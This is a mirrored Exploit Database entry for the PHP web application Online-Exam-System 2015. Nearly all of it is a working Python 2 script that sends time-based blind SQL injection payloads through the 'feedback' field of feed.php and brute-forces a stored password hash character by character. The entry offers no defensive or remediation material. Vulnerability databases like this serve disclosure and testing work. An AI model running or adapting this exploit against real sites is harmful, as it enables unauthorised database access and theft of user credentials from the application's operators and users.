Online-Exam-System 2015 – ‘feedback’ SQL Injection

• Exploit Database
• 15 阅读

• 作者： Gus Ralph
  日期： 2020-06-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48560/

• # Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
  # Date: 2020-06-04
  # Exploit Author: Gus Ralph
  # Vendor Homepage: https://github.com/sunnygkp10/
  # Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
  # Affected Version: 2015
  # Tested on: Ubuntu
  # CVE : N/A
  
  import requests, string, time
  from sys import stdout
  
  URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")
  
  payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','test@test.com','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
  payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
  so_far = hash = ""
  while True:
  	for i in string.digits + string.ascii_lowercase:
  		so_far = hash + i
  		payload_to_send = payload + str(so_far) + payload2
  		data = {"name":"test","email":"test@test.com","subject":"test","feedback":payload_to_send}
  		start = time.time()
  		r = requests.post(URL + "feed.php", data = data)
  		request_time = time.time() - start
  		if request_time > 5:
  			hash += i
  			stdout.write(i)
  			stdout.flush()
  			break
  	if len(hash) > 31:
  		stdout.write("\n")
  		print "Hash found: " + hash
  		break